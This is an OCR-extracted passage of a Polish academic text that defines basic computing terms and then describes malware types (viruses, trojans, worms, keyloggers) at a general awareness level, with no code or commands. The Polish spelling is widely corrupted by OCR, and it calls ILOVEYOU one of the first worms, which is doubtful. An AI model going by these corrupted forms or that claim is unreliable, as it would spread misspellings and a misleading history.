
Kluczowg cechg informacji jest jej przydatnosé i zdolnos$é do wptywania na podejmowanie
decyzji lub rozumienie okreslonych aspektow rzeczywistosci. Informacja jest czesto
przekazywana w celu komunikacji, edukacji, analizy danych czy podejmowania dziata. Moze
by¢ réwniez przechowywana, udostepniana i przetwarzana w réznych kontekstach, w tym

w systemach komputerowych, mediach, organizacjach i komunikacji miedzyludzkie;.

[I.L1.2 Dane

Dane to reprezentacje faktéw, informacji lub wartosci, ktére mozna zarejestrowac,
przechowywac, przesyta¢ lub przetwarza¢ w celu analizy, wykorzystania i podejmowania
decyzji. Moga przyjmowac rozne formy, takie jak tekst, liczby, obrazy, dzwieki, wideo itp. Dane
sg podstawowym sktadnikiem informacji, ktére stanowig istotny element w dzisiejszym

Swiecie cyfrowym.

Dane moga by¢ przechowywane w réznych formatach i zrodtach, takich jak bazy danych,
pliki tekstowe, arkusze kalkulacyjne, systemy informatyczne, atakze zbierane zrdznych
zrodet, takich jak sensory, urzadzenia pomiarowe, formularze internetowe itp. S3 one
przetwarzane za pomocg systemow komputerowych w celu generowania informacji, ktére
moga by¢ wykorzystywane do podejmowania decyzji, analizy trendéw, badania i wielu innych
celéw. Dane stanowig nieodfgczny element w wielu dziedzinach, w tym w analizie danych,
badaniach naukowych, zarzadzaniu przedsiebiorstwem, systemach informacyjnych,

informatyce, a takze w codziennym zyciu.

23



Danych nie nalezy myli¢ z informacja. Informacja i dane to dwa powigzane, ale rézne

pojecia w kontekscie przetwarzania informacji. Oto gtdwne rdznice miedzy nimi:

e Sensizrozumienie - dane to surowe, nieprzetworzone fakty, liczby lub symbole, ktére
niekoniecznie majg znaczenie lub sens w izolacji. Informacja to dane, ktére zostaty
przetworzone, zinterpretowane inadane znaczenie. Informacja jest zrozumiata
i uzyteczna, poniewaz dostarcza kontekstu lub odpowiedzi na konkretne pytania.

e Przydatnos¢ - dane same w sobie niekoniecznie posiadajg wartos$¢ ani przydatnosc.
Moga stanowi¢ potencjalne zrodto informacji, ale potrzebuja przetwarzania, aby stac¢
sie uzyteczne. Informacja jest uzyteczna, poniewaz dostarcza konkretng wiedze
lub wskazéwki, ktére pomagajg w podejmowaniu decyzji lub rozumieniu okreslonej
sytuacji.

e Reprezentacja - dane to surowa reprezentacja faktéw, ktéra moze przyjmowac rozne
formy, takie jak liczby, tekst, obrazy itp. Informacja to przeksztatcona i zrozumiata
forma danych, ktéra ma sens dla ludzi lub systemow.

e Kontekst - informacja zawsze istnieje w okreslonym kontekscie i jest dostosowana do
potrzeb odbiorcy. Jest to tres¢, ktéra ma znaczenie w konkretnym kontekscie. Dane
moga istnie¢ bez konkretnego kontekstu i niekoniecznie muszg mie¢ natychmiastowe

zhaczenie.

Podsumowujgc, dane tosurowe fakty Ilubsymbole, podczas gdy informacja
to przetworzone dane, ktdre posiadajg znaczenie i przydatnosé w okreslonym kontekscie.
Przetwarzanie danych w celu uzyskania informacji jest kluczowym etapem w analizie danych

i podejmowaniu decyzji.

[1.L1.3 System komputerowy

System komputerowy to ukfad wspdtpracujgcych ipowigzanych ze sobg elementoéw,
zfozony ze sprzetu oraz oprogramowania, umozliwiajgcy m.in. skfadowanie oraz
przetwarzanie danych oraz realizacje zadan. Zadania mogg byé okreslone przez operatora

systemu komputerowego.

System komputerowy skfada sie z:
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e Zasobow sprzetowych — wszystkie fizyczne elementy sktadowe, takie jak procesor,
pamie¢ RAM, dysk twardy, klawiatura, monitor, mysz, karta graficzna, karta
dzwiekowa, itp.

e Oprogramowania — programy i systemy operacyjne, ktére pozwalajg na zarzadzanie
i wykorzystywanie zasobdw sprzetowych oraz wykonywanie zadan okreslonych przez
operatora. System operacyjny jest centralnym oprogramowaniem, ktére kontroluje

operacje i zarzadza zasobami komputera.

Systemy komputerowe sg uzywane w wielu dziedzinach, od pracy biurowej i nauki, po
rozrywke iprzemyst. Sg nieodtgczng czescig zycia codziennego wielu ludzi iodgrywaja

kluczowa role we wspotczesnym spoteczenstwie.

[1.L1.4 Operator systemu komputerowego

Operator systemu komputerowego to osoba, ktdra korzysta z systemu komputerowego
w celu wykonywania okreslonych zadan, pracujagc na komputerze lubinnym urzadzeniu.
Operator w tym kontekscie jest uzytkownikiem koncowym, ktéry wykorzystuje dostepne
zasoby i oprogramowanie systemu komputerowego w ramach swojej pracy, realizacji zadan

lub innych celéw.

[1.L1.5 Komputer

Komputer to elektroniczne urzadzenie, ktére jest zdolne do wykonywania operacji
obliczeniowych, przetwarzania danych oraz wykonywania réznorodnych zadan na podstawie
programow komputerowych. Komputer skfada sie z kilku gtéwnych komponentéw, w tym
procesora, pamieci RAM, dysku twardego, monitora, klawiatury, myszy iinnych urzadzen

wejscia/wyjscia. Gtdwne cechy komputera to:

e Przetwarzanie danych - komputer jest zdolny do przetwarzania danych nardzne
sposoby, w tym wykonywania operacji matematycznych, analizy tekstu, przetwarzania
obrazéw i dzwieku, oraz wielu innych operacji.

e Programowalno$¢ - komputer moze byé programowany do wykonywania réznych
zadan i operacji, co umozliwia uzytkownikom dostosowywanie jego zachowania do
swoich potrzeb.

e Pamiec - komputer ma zdolnos¢ przechowywania danych w pamieci RAM i na dysku

twardym, co umozliwia zapisywanie, odczytywanie i przetwarzanie danych.
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e Prezentacja wynikdow - wyniki przetwarzania komputera sg zazwyczaj wyswietlane
na monitorze lub w inny sposéb prezentowane uzytkownikowi (operatorowi).
e Komunikacja z uzytkownikiem — uzytkownik moze korzysta¢ z komputera za pomoca

klawiatury, myszy, ekranu dotykowego lub innych urzadzen wejscia/wyjscia.

Komputery sg szeroko stosowane wrdznych dziedzinach, wtym w biznesie, nauce,
edukacji, rozrywce, inzynierii i wielu innych. S nieodtgczng czescig wspodiczesnego zycia
i odgrywaja kluczowg role w przetwarzaniu i przechowywaniu danych oraz wykonywaniu

zadan.

Pojecia komputer isystem komputerowy sg ze sobg Scisle zwigzane. Komputer nalezy
rozumiec jako pojedyncze urzadzenie elektroniczne, ktére wykonuje operacje obliczeniowe
i przetwarza dane. Sktada sie z r6znych komponentdw, takich jak procesor, pamie¢ RAM, dysk
twardy, klawiatura, monitor, mysz, karty graficzne, karty dzwiekowe iinne. System
komputerowy to bardziej ogdlny termin, ktory odnosi sie do kompleksowego srodowiska,
w ktérym dziata komputer. Srodowisko to obejmuje zaréwno sprzetowy komputer, jak
i oprogramowanie, wtym system operacyjny, aplikacje, narzedzia iustugi. System
komputerowy jest bardziej rozbudowanym ekosystemem, ktory umozliwia uzytkownikowi

wykonywanie réznych zadan i operacji przy uzyciu komputera.

Komputer mozna zatem traktowac jako sam fizyczny sprzet, ktdry mozna dotkngc¢ i uzywac,
podczas gdy system komputerowy to bardziej ogdlna koncepcja, ktéra odnosi sie do
komputera w kontekscie jego ogdlnego srodowiska i funkcji. System komputerowy obejmuje
zaréwno komputer, jak i catg infrastrukture i oprogramowanie, ktére go obstuguje i pozwala

na korzystanie z jego mozliwosci.

Pomimo wskazanych réznic, pojecia te s ze sobg bardzo blisko powigzane. Dlatego tez,

w dalszej czesci pracy pojecia te bedg uzywane zamienienie.

I1.1.6 System teleinformatyczny

System teleinformatyczny to kompleksowy system taczacy technologie telekomunikacyjne
zinformatycznymi  wcelu efektywnego przesytania, przetwarzania, zarzadzania
i przechowywania informacji oraz danych. Te systemy umozliwiajg komunikacje, wymiane
danych idostep do zasobdw informatycznych zaréwno nalokalnym poziomie, jak

i na odlegtos¢. Systemy teleinformatyczne sg3 powszechnie wykorzystywane w wielu
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dziedzinach, w tym w przedsiebiorstwach, administracji publicznej, stuzbie zdrowia, edukacji

i wielu innych.
Gtéwne cechy systeméw teleinformatycznych obejmuja:

e Komunikacje - systemy teleinformatyczne umozliwiaja komunikacje miedzy
urzadzeniami i uzytkownikami za pomocg rdéznych technologii, takich jak sieci
komputerowe, telefonia komédrkowa, telefonia internetowa (VolP), poczta
elektroniczna, komunikatory internetowe i wiele innych.

e Przetwarzanie danych - systemy teleinformatyczne pozwalaja na przetwarzanie
i analize danych, zaréwno nalokalnym poziomie, jak inazdalnym serwerze.
To pozwala nadostep do zasobdw obliczeniowych iprzechowywanie danych
w chmurze.

e Zarzadzanie zasobami - systemy teleinformatyczne umozliwiajg zarzadzanie zasobami
informatycznymi, takimi jak serwery, bazy danych, oprogramowanie, a takze kontrole
dostepu do tych zasobdéw.

e Bezpieczenstwo - w systemach teleinformatycznych szczegdlnie istotne jest
zagadnienie bezpieczenstwa, ktore obejmuje ochrone danych, poufnos¢ komunikacji
i zabezpieczenie przed atakami cybernetycznymi.

e Ustugi iaplikacje - systemy teleinformatyczne dostarczajg réznorodne ustugi

i aplikacje, takie jak e-commerce, e-learning, telemedycyna, telepraca i wiele innych.

Systemy teleinformatyczne sg kluczowe dla funkcjonowania wspodtczesnego
spofeczenstwa, gospodarki iorganizacji, poniewaz umozliwiajg efektywng komunikacje,

dostep do informacji i zasoboéw, a takze umozliwiajg wykonywanie wielu zadan na odlegtos¢.

System teleinformatyczny i system komputerowy to dwa rdézne, ale powigzane pojecia,
ktére stuzg réoznym celom, choc¢ scisle wspdtpracujg ze sobg. System teleinformatyczny
koncentruje sie na komunikacji i wymianie danych na odlegto$¢. To kompleksowy zestaw
technologii i ustug, ktére umozliwiajg przesytanie informacji miedzy réznymi urzadzeniami,
lokalizacjami  lub uzytkownikami. Gtéwne komponenty systemu teleinformatycznego
obejmujg infrastrukture telekomunikacyjna, taka jak sieci komputerowe, telefonie, facza
internetowe, atakze ustugi, takie jak poczte elektroniczne, wideokonferencje, telefonie

internetowgy, itp. Systemy teleinformatyczne pozwalajg na zdalng komunikacje i dostep do
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zasobow, co jest istotne w dzisiejszym globalnym i zdalnym srodowisku pracy i komunikacji.
System komputerowy natomiast skupia sie naprzetwarzaniu danych ioperacjach
obliczeniowych. To zestaw sprzetu ioprogramowania, ktéry umozliwia przechowywanie,
przetwarzanie izarzadzanie danymi iinformacjami na poziomie lokalnym. Systemy
komputerowe sg wykorzystywane do wykonywania réznych zadan, takich jak edycja
dokumentdéw, analiza danych, projektowanie, tworzenie tresci multimedialnych iwiele

innych.

Podsumowujac, system teleinformatyczny koncentruje sie na komunikacji i wymianie
danych na odlegtos¢, podczas gdy system komputerowy skupia sie na lokalnym przetwarzaniu
danych ioperacjach obliczeniowych. Oba rodzaje systemdéw s3 czesto uzywane wspolnie,
poniewaz systemy teleinformatyczne umozliwiajg zdalny dostep do zasobdéw systemow
komputerowych, co jest istotne w dzisiejszym globalnym srodowisku biznesowym

i komunikacyjnym.

11.L1.7 Plik

Plik to nazwa uzywana w informatyce do okreslenia przechowywanych na dysku twardym

lub innym nos$niku danych.
Plik:

e Jest podstawowgq jednostka przechowywania danych.

e Moze przechowywac roznego rodzaju dane, takie jak tekst, obrazy, dzwieki, wideo,
programy komputerowe i wiele innych.

e Jest identyfikowany za pomoca unikalnej nazwy oraz Sciezki dostepu.

e Przechowywany jest w hierarchicznej strukturze folderéw lub katalogéw.
Podstawowe cechy plikow to:

e Nazwa - kazdy plik ma swojg nazwe, ktéra stuzy do identyfikacji i lokalizacji pliku
w systemie plikow.

e Rozmiar - rozmiar pliku okresla, ile miejsca zajmuje on na nosniku danych. Rozmiar
pliku jest mierzony w bajtach (B), kilobajtach (KB), megabajtach (MB) itp.

e Typ - pliki mogg mieé¢ réine rozszerzenia, ktére wskazujg naich typ lub format.
Na przyktad plik tekstowy moze miec rozszerzenie ".txt", aplik graficzny ".jpg"

lub ".png".
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Zawartos$¢ - plik zawiera dane, ktore moga by¢ przechowywane w réznych formatach,
zaleznie od jego przeznaczenia.
Atrybuty - pliki mogg mieé atrybuty, takie jak np. data utworzenia, data ostatniej

modyfikacji, uprawnienia dostepu.

Pliki sg podstawowymi jednostkami zarzgdzania danymi w systemach komputerowych i sg

uzywane do przechowywania, przetwarzania i udostepniania informacji oraz danych. Moga

by¢ tworzone, edytowane, kopiowane, przenoszone i usuwane przez uzytkownikéw, co czyni

je kluczowymi elementami pracy na komputerze.

[1.1.8 Dane cyfrowe

Dane cyfrowe to rodzaj danych, ktore sg reprezentowane i przetwarzane w formie liczb

lub koddéw binarnych (0i 1). W przeciwienstwie do danych analogowych, ktére reprezentuja

wartosci ciggte, takie jak dzwiek lub obraz, dane cyfrowe sg dyskretne i sktadajg sie z cyfr

lub symboli w formie kodu binarnego. W dzisiejszych systemach komputerowych dane

cyfrowe sg podstawowym rodzajem danych. Kluczowe cechy danych cyfrowych to:

Dyskretne wartosci - dane cyfrowe przyjmuja okreslone i ograniczone wartosci, zwykle
w formie liczb catkowitych lub kodéw binarnych (0i 1).

Precyzja - dane cyfrowe mogg by¢ bardzo precyzyjne, poniewaz mogg byc
przechowywane iprzetwarzane z duzg dokfadnoscia, co jest szczegdlnie istotne
w naukach Scistych i inzynierii.

Skalowalnos¢ - dzieki mozliwosci reprezentacji danych w formie liczb, dane cyfrowe sg
tatwe do skalowania i przeksztatcania w réznych jednostkach i zakresach.
Reprezentacja w komputerach - wkomputerach dane s3 przechowywane
i przetwarzane w formie kodu binarnego ztozonego z cyfr zero (0) lub jeden (1). Ten
system binarny jest podstawa dziatania cyfrowych urzadzen.

Trwato$¢ iniezawodno$é - dane cyfrowe sg trwate iodporne na degradacje
w poréwnaniu do danych analogowych, co czyni je idealnymi do przechowywania

i udostepniania informacji na dtuzszg mete.

Przyktady danych cyfrowych obejmujg teksty, obrazy, dzwieki, wideo, liczby, pliki

programow komputerowych i wiele innych rodzajow danych, ktére mozna przechowywaé

i przetwarza¢ w formie cyfrowej za pomocg komputerdw iinnych urzadzen elektronicznych.
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Dzieki cyfryzacji wiele dziedzin, takich jak telekomunikacja, rozrywka, nauka i technologia,

zyskuje na efektywnosci i dostepnosci informacji.

Z uwagi na fakt, iz praca ta dotyczy danych cyfrowych, w dalszej jej czesci pojecie danych

oraz danych cyfrowych uzywane bedg zamiennie.

[1.L1.9 Format danych

Format danych odnosi sie do konkretnej struktury lub organizacji danych, ktéra okresla, jak

informacje s zapisywane, przechowywane, przetwarzane itransmitowane w systemie

komputerowym lub w innym srodowisku informatycznym. Format danych definiuje sposéb,

w jaki dane sg reprezentowane, w tym ich typy, struktury, ukfad, kodowanie iinne cechy.

Format danych jest istotnym elementem zapewniajgcym spdjnos¢ i interoperacyjnosé miedzy

réznymi systemami i aplikacjami.

Przyktadowe formaty danych:
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Tekstowy format danych - tekst jest jednym z najprostszych formatdw danych. Dane
tekstowe sg reprezentowane jako cigg znakéw w formie plikdw tekstowych,
dokumentéw i arkuszy kalkulacyjnych. Formaty takie jak TXT, CSV, XML, JSON, HTML
sg przyktadami formatéw danych tekstowych.

Formaty obrazow - dla danych wizualnych, takich jak zdjecia i grafika, istnieje wiele
formatéw, takich jak JPEG, PNG, GIF, BMP, itp., ktére okreslaja sposdb
przechowywania pikseli obrazu.

Formaty dzwieku - dla dZzwieku i muzyki istniejg formaty takie jak MP3, WAV, FLAC,
itp., ktére okreslajg sposédb reprezentacji dzwieku i jego kompres;ji.

Formaty wideo - w przypadku danych wideo popularne formaty obejmujg MP4, AVI,
MKV, MOV, itp., ktdre definiujg sposdb reprezentacji i kompresji materiatow wideo.
Formaty dokumentdw - do przechowywania i przetwarzania dokumentow tekstowych,
grafiki, tabel i innych informacji, uzywane sg formaty takie jak PDF, DOC, XLS, PPT, itp.
Bazy danych - w bazach danych dane sg przechowywane w okreslonych strukturach,
takich jak SQL (dla relacyjnych baz danych) lub NoSQL (dla baz danych nierelacyjnych),

ktore definiujg organizacje danych.



e Formaty strumieni danych - dane w formie strumieniowej mogg mie¢ swoje wtasne
formaty, ktére okreslajg, jak dane sg przesytane w czasie rzeczywistym, na przyktad

w transmisjach wideo online, gietdzie danych, itp.

Witasciwy format danych jest istotny, poniewaz wptywa na interpretacje i obstuge danych
przez systemy komputerowe oraz systemy teleinformatyczne. Dlatego wazne jest,
aby stosowac odpowiednie formaty danych w zaleznosci od rodzaju danych, celu i potrzeb

komunikacyjnych miedzy réznymi aplikacjami i systemami komputerowymi.

[1.1.10 System operacyjny
System operacyjny (ang. operating system, OS) to oprogramowanie, ktére zarzadza
i kontroluje dziataniem komputera lub innych urzadzen elektronicznych. Jest to kluczowy

sktadnik kazdego komputera i petni wiele waznych funkgji, takich jak np.:

e Zarzadzanie zasobami - system operacyjny kontroluje dostep do zasobdw
sprzetowych, takich jak procesory, pamie¢ RAM, dyski twarde, urzadzenia
wejscia/wyjscia, drukarki itp. Pozwala na efektywne wykorzystanie tych zasobow przez
rézne aplikacje.

e Zarzadzanie procesami - system operacyjny zarzadza procesami lub zadaniami
(watkami), ktére sg uruchomione na komputerze i kontroluje ich wykonanie.

e Zarzadzanie pamiecig - system operacyjny kontroluje alokacje i dealokacje pamieci
RAM dla procesdw i aplikacji.

e System plikbw - system operacyjny zarzagdza danymi sktadowanymi na dyskach
twardych iinnych nosnikach. Tworzy strukture katalogow iumozliwia
przechowywanie, przeszukiwanie i dostep do plikdw.

e Interfejs uzytkownika - system operacyjny dostarcza interfejs uzytkownika, ktéry
umozliwia interakcje z komputerem. Interfejs moze by¢ w formie tekstowej (wiersz
polecen) lub graficznej (pulpit z ikonami).

e Bezpieczenstwo - system operacyjny kontroluje dostep do zasobdéw idanych,
zapewniajgc ochrone przed nieautoryzowanym dostepem i zagrozeniami zwigzanymi
z bezpieczenstwem komputerowym.

e Komunikacja zurzadzeniami - system operacyjny umozliwia komunikacje

z urzagdzeniami peryferyjnymi, takimi jak klawiatury, myszki, drukarki, kamery, itp.
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Popularne systemy operacyjne to np. Microsoft Windows, Apple macOS, Linux, Android
(dla urzadzen mobilnych), iOS (dla urzadzen mobilnych firmy Apple), Unix. System operacyjny
jest kluczowym elementem, ktéry umozliwia korzystanie z komputera iinnych urzadzen

elektronicznych.

[1.L1.11 Oprogramowanie

Oprogramowanie to ogdlny termin uzywany do opisania zestawu programow
komputerowych, aplikacji, procedur idanych, ktdére kontrolujg izarzadzajg dziataniem
komputera oraz umozliwiajag wykonywanie réznych zadan i operacji. Oprogramowanie jest
przeciwienstwem sprzetu komputerowego, poniewaz odnosi sie do abstrakcyjnych
elementdw, ktore nie sg fizyczne, ale wptywajg na dziatanie komputera. Oprogramowanie
moze miec wiele réznych zastosowan, w tym edycje tekstu, przegladanie Internetu, tworzenie

grafiki, przetwarzanie danych, komunikacje, rozrywke i wiele innych.
Oprogramowanie mozna podzieli¢ na kilka gtdwnych kategorii:

e System operacyjny - jest to podstawowe oprogramowanie, ktére kontroluje zasoby
fizyczne komputera i tworzy srodowisko, w ktéorym mozna uruchamiac inne programy
komputerowe.

e Oprogramowanie systemowe - to oprogramowanie, ktore zapewnia ustugi i narzedzia
pomocnicze dla systemu operacyjnego, takie jak sterowniki urzadzen, biblioteki
programistyczne, narzedzia diagnostyczne itp.

e Oprogramowanie uzytkowe - to programy komputerowe stworzone do rozwigzywania
konkretnych probleméw lub wykonywania okreslonych zadan, takie jak programy
antywirusowe, programy do zarzadzania danymi, przegladarki internetowe, edytory
tekstu, arkusze kalkulacyjne, programy do grafiki, gry, narzedzia biurowe, itp.

e Oprogramowanie chmurowe - tooprogramowanie iustugi dostarczane
za posrednictwem Internetu (w chmurze), takie jak przechowywanie danych

w chmurze, aplikacje webowe, itp.

Oprogramowanie jest nieodtgczng czescig wspodtczesnego zycia, zaréwno w kontekscie
uzytku osobistego, jak ibiznesowego. Pozwala na wykonywanie roéznorodnych zadan,

automatyzacje procesoéw, komunikacje irozrywke. W dzisiejszych czasach istnieje wiele
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rodzajow oprogramowania dostosowanych do réznych potrzeb i dziedzin, co sprawia, ze jest

kluczowym elementem w Swiecie technologii.

11.1.12Sie¢ komputerowa

Sie¢ komputerowa to zbiér potagczonych ze sobg komputeréw lub urzadzen, ktére
umozliwiajg przesyfanie danych iudostepnianie zasobdéw. Sieci komputerowe pozwalajg
na komunikacje iwspodtdzielenie zasobdéw miedzy urzadzeniami, co jest kluczowe

w dzisiejszym Swiecie informatyki.
Ogolnie rzecz biorac, sie¢ komputerowa skfada sie z kilku elementéw:

e Urzadzenia koncowe - komputery, telewizory, telefony komdrkowe, tablety iinne
urzadzenia, ktore sg podtgczone do sieci i mogg komunikowac sie ze soba.

e Medium transmisyjne - Srodowisko, przez ktére przesytane sg dane. Moze to by¢
przewdd (np. kabel Ethernet), fale radiowe (np. Wi-Fi) lub swiattowdd.

e Protokoty ioprogramowanie - sieci komputerowe uzywajg protokotow
komunikacyjnych (takich jak TCP/IP) ioprogramowania (jak systemy operacyjne,
sterowniki sieciowe itp.), ktére kontrolujg, jak dane s przesytane, odbierane
i przetwarzane.

e Infrastruktura sieciowa - toelementy fizyczne, takie jak routery, przetaczniki,
koncentratory (hub-y) iinne urzadzenia, ktére zarzadzajg ikierujg ruchem danych

w sieci.
Sieci komputerowe majg wiele zastosowan, w tym:

e Udostepnianie zasobow, takich jak drukarki, pliki i aplikacje, w ramach organizacji.
e taczenie sie z Internetem i dostep do zasobdw online.

e Komunikacja miedzy uzytkownikami (np. poczta elektroniczna, komunikatory).

e Tworzenie systeméw zdalnej kontroli i monitoringu.

e Obstuga systemow telewizji przemystowej (CCTV).

e Wspdtdzielenie danych i aplikacji miedzy urzgdzeniami typu loT (Internet of Things).

Sieci komputerowe istniejg w réznych typach i rozmiarach, od matych domowych sieci Wi-

Fi po rozlegte infrastruktury korporacyjne oraz globalne sieci internetowe.
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1.2 Definicja i klasyfikacja oprogramowania malware

11.2.1 Ztosliwe oprogramowanie (malware)

Ztosliwe oprogramowanie, znane takze jako malware (skrét od ang. malicious software),
to rodzaj oprogramowania, ktére jest tworzone iuzywane w celu niszczenia, infekowania
lub kontrolowania komputeréw, danych nanich sktadowanych Ilubinnych urzadzen
elektronicznych bez zgody lub wiedzy uzytkownika. Ztosliwe oprogramowanie moze byc¢
wykorzystywane do réznych celéw, wtym np. do kradziezy danych, niszczenia danych,
uszkodzenia systemu operacyjnego, podstuchiwania komunikacji, atakdw na inne komputery

oraz wielu innych szkodliwych oraz nielegalnych dziatan.
Istnieje wiele rodzajow ztosliwego oprogramowania, w tym np.:

e Wirusy - programy, ktére potrafig replikowad sie irozprzestrzeniac, infekujgc pliki
i inne programy. Mogg uszkadzac dane i cate systemy komputerowe.

e Konie trojanskie - programy zawierajace ukryte funkcjonalnosci, za pomocga ktérych
mogg wykonywac dziatania szkodliwe, takie jak np. kradziez danych.

e Robaki - programy, ktére potrafig samodzielnie rozprzestrzeniac sie w sieci, infekujac
inne komputery.

e Ransomware - rodzaj zto$liwego oprogramowania, ktéry blokuje dostep do danych
lub systemu uzytkownika i zgda okupu w zamian za jego przywrdcenie.

o Keyloggery — programy, ktére monitorujg irejestrujg klawisze naciskane
na klawiaturze, umozliwiajgc cyberprzestepcom kradziez haset iinnych poufnych
informaciji.

e Spyware - oprogramowanie szpiegowskie, ktére zbiera informacje o dziataniach
uzytkownika, takich jak np. przegladane strony internetowe, historie wyszukiwania,
dane osobowe.

e Adware - oprogramowanie wyswietlajgce niechciane reklamy nakomputerze
uzytkownika, czesto dodatkowo zbierajagce informacje o0jego zachowaniu
w Internecie.

e Rootkity - trudne do wykrycia programy, ktére umozliwiajg cyberprzestepcom zdalny

dostep i kontrole nad zainfekowanym komputerem.
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e Boty - zainfekowane systemy komputerowe, ktére moga by¢ zdalnie kontrolowane
i wykorzystywane do réznych celdw, takich jak np. ataki DDoS lub rozprzestrzenianie

spamu.
Ochrona przed ztosliwym oprogramowaniem obejmuje m.in.:

e Stosowanie oprogramowania antywirusowego,

e Korzystanie z zapér sieciowych (firewall’i).

e Regularne aktualizowanie systemu operacyjnego, oprogramowania systemowego,
oprogramowania uzytkowego

e Zachowanie szczegdlnej ostroznos¢ przy pobieraniu plikdw i przegladaniu Internetu.

e Edukacje uzytkownikéw w zakresie bezpieczeristwa online.

Cyberprzestepcy stale rozwijajg nowe rodzaje ztosliwego oprogramowania, dlatego wazne
jest, aby by¢ swiadomym zagrozen i zachowaé ostroznos¢ podczas korzystania z komputera

i innych urzadzen elektronicznych.

11.2.2 Wirus

Wirus komputerowy (ang. computer virus) to rodzaj ztosliwego oprogramowania, ktére ma
zdolnos¢ do replikacji irozprzestrzeniania sie w systemie komputerowym lub nainnych
urzadzeniach elektronicznych. Termin "wirus" jest uzywany, aby opisaé programy

komputerowe, ktére wykazujg nastepujace cechy:

e Replikacja - wirusy s zdolne do kopiowania ipowielania sie w systemie
komputerowym. Moga infekowac¢ inne pliki lub programy, co pozwala im
na rozprzestrzenianie sie na inne komputery i urzagdzenia.

e Szkodliwos¢ - wirusy sg zto$liwe i mogg powodowac rézne rodzaje szkdd w systemie,
takie jak np. uszkodzenia plikdw, zmniejszenie wydajnosci komputera, kradziez
danych.

e Ukrywanie - wirusy czesto ukrywajg sie winnym oprogramowaniu lub plikach, co
sprawia, ze uzytkownik nieswiadomie je uruchamia. Po aktywacji moga
rozprzestrzeniaé sie na inne pliki i komputery.

e Samoreplikacja - wirusy wykorzystujag mechanizmy replikacji w celu rozprzestrzeniania

sie, np. przez poczte elektroniczng, pendrive'y, sieci komputerowe lub inne media.
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e \Wprowadzanie zmian - wirusy czesto wprowadzajg zmiany w systemie
komputerowym, w tym modyfikujg lub uszkadzajg dane, naruszajg bezpieczenstwom
powodujg awarie systemu komputerowego.

e Celowa szkodliwos¢ - autorzy wirusOw tworzg je z zamiarem wyrzadzenia szkdd,

kradziezy danych, itp.

Wirusy sg jednym z rodzajéw ztosliwego oprogramowania i stanowig istotne zagrozenie dla

bezpieczenstwa systemdéw komputerdw i urzadzen elektronicznych.

11.2.3 Kon trojaniski

Kon trojanski, inaczej trojan lub "trojan malware", to rodzaj ztosliwego oprogramowania
(malware), ktére podszywa sie pod pozornie przydatne oprogramowanie, aby wprowadzi¢
w btad uzytkownika iumozliwi¢ cyberprzestepcom dostep do komputera lub urzadzenia,
na ktorym zostat uruchomiony. Nazwa "trojan" pochodzi od mitologicznego konia
trojaniskiego. Byfa to figura w ksztatcie konia, w ktérej ukryli sie greccy wojownicy by zostac

podstepem wprowadzonymi w obreb muréw miasta Troi.

Trojany wykorzystuja wiele podstepnych technik, aby oszuka¢ uzytkownika iosiggnaé

swoje cele, w tym np.:

e Maskowanie - trojany zazwyczaj udajg atrakcyjne pliki lub programy, takie jak gry,
narzedzia lub pliki multimedialne, aby skusi¢ uzytkownika do ich pobrania
lub uruchomienia.

e Infekcja - po uruchomieniu trojan infekuje system komputerowy, umozliwiajac
cyberprzestepcom zdalny dostep i kontrole.

e Uwierzytelnienie - trojany czesto prébujg podszywac sie pod zaufane zrédta lub zgdaja
od uzytkownika podania swoich danych uwierzytelniajacych, co pozwala na kradziez
poufnych informacji, takich jak np. hasta.

e Zdalna kontrola - trojan moze umozliwic¢ cyberprzestepcom zdalny dostep i kontrole
nad systemem, co pozwala na wykonywanie dziatan szkodliwych, takich jak kradziez
danych, podstuchiwanie i inne ataki.

o Keylogging - niektére trojany dziataja podobnie jak keyloggery, czyli rejestrujg
i przesytaja kazde nacisniecie klawisza na klawiaturze, co pozwala na zbieranie haset

oraz innych poufnych informacji.
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Ataki DDoS - niektére trojany moga by¢ uzywane do przeprowadzania atakéw typu
DDoS (rozproszonego ataku odmowy dostepu do ustugi), co moze powodowac

blokowanie atakowanych ustug online lub stron internetowych.

11.2.4 Robak

Robak komputerowy (ang. computer worm) to rodzaj ztosliwego oprogramowania, ktére

rozprzestrzenia sie w sieci komputerowej lub nainnych urzadzeniach elektronicznych,

replikujgc sie iinfekujgc kolejne urzadzenia lub systemy. W przeciwienstwie do wiruséw,

robaki nie muszg by¢ osadzone w istniejacych plikach lub programach; sg zdolne do

samodzielnego rozprzestrzeniania sie. Gtéwne cechy robakéw komputerowych to:

Samoreplikacja - robaki posiadaja zdolnos¢ do samodzielnego replikowania sie
i infekowania innych urzadzen bez koniecznosci osadzania sie  w plikach
lub programach.

Rozprzestrzenianie sie wsieci - robaki wykorzystujg sie¢ komputerowg, w tym
Internet, poczte elektroniczng, sieci spotecznosciowe i inne $rodki komunikacji, aby sie
rozprzestrzeniac.

Brak interakcyjnosci - robaki mogg dziata¢ automatycznie i nie wymagaja interakcji
uzytkownika, aby sie replikowac.

Szkodliwos$¢ - robaki moga powodowac szkody, takie jak np. blokowanie sieci, kradziez

danych, uszkodzenie systemu.

Przyktady robakéw komputerowych obejmuja:

ILOVEYOU - jednym z pierwszych znanych robakéw komputerowych, ktéry zostat
rozpowszechniony za posrednictwem poczty elektronicznej i powodowat uszkodzenia
plikow.

Blaster (MSBlast) - robak, ktéry atakowat komputery zsystemem operacyjnym
Windows XP i Windows 2000, wykorzystujac wystepujgce w nich podatnosci.

Sasser - robak, ktdry rozprzestrzeniat sie miedzy komputerami z systemem Windows

XP i powodowat zawieszanie sie systemu.

I1.2.5 Keylogger

Keylogger, znany rowniez jako rejestrator klawiatury, torodzaj oprogramowania

lub urzadzenia, ktére rejestruje izapisuje naci$niecia klawiszy na klawiaturze komputera
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lub urzagdzenia mobilnego. Celem keyloggerdw jest sledzenie i przechwytywanie wszystkiego,

co uzytkownik wpisuje na klawiaturze, witaczajgc w to hasta, numery kart kredytowych,

wiadomosci e-mail, komunikatory internetowe i inne poufne informacje.

Keyloggery moga miec¢ rézne zastosowania, zaréwno legalne, jak i nielegalne. Legalne

zastosowania keyloggeréw obejmuja:

Monitorowanie aktywnosci rodzicielskiej - keyloggery moga by¢ uzywane przez
rodzicow, aby monitorowac, co ich dzieci robig systemie komputerowym iczy nie
narazajq sie na niebezpieczenstwo.

Monitorowanie pracownikéw - w niektorych przypadkach pracodawcy mogg uzywac
keyloggeréw do monitorowania aktywnosci swoich pracownikéw w celu zapobiegania
naduzyciom lub utracie poufnych informacji.

Bezpieczenstwo komputera - antywirusy i programy bezpieczeistwa czasami uzywaja

